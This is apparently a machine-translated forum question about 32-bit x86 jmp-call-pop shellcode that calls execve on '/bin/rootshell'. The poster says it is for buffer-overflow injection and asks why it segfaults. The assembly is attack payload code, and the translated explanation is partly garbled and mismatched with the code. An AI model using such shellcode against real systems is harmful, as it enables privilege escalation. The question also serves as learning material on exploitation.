我正在尝试使用汇编代码从我的终端调用一个roothell,我可以在缓冲区溢出注入攻击中使用它,但是现在我仍然试图让我的汇编代码工作,现在我'当我尝试向内存写入execve调用所需的内容时,会出现分段错误。
代码如下
.code32
.text
.globl _start
_start:
jmp MyCallStatement
ShellCode:
# Execve routine
popl %esi
xorl %eax, %eax
movb %al, 0xe(%esi)
movl %esi, 0xf(%esi)
movl %eax, 0x13(%esi)
movb $11, %al
movl %esi, %ebx
leal 0xf(%esi), %ecx
leal 0x13(%esi), %edx
int $0x80
# Exit Routine
MyCallStatement:
call ShellCode
ShellVariable:
.ascii "/bin/rootshellABBBBCCCC"
所以这里的想法是我的rootcall注入了内存,其他垃圾会被覆盖。
第一个在0xe($ esi)的movb,它是14个字节,用0覆盖%esi,这是一个空终止符,告诉我的shell命令字符串结束的代码。
下一个movb只需再多一个字节就可以加载一个指针,指向execve的第二个arg,这是指向内存中%esi开头的指针
最终的movl只是将Nulls移动到第三个争论中。
我遇到了段故障(核心转储),我不确定原因。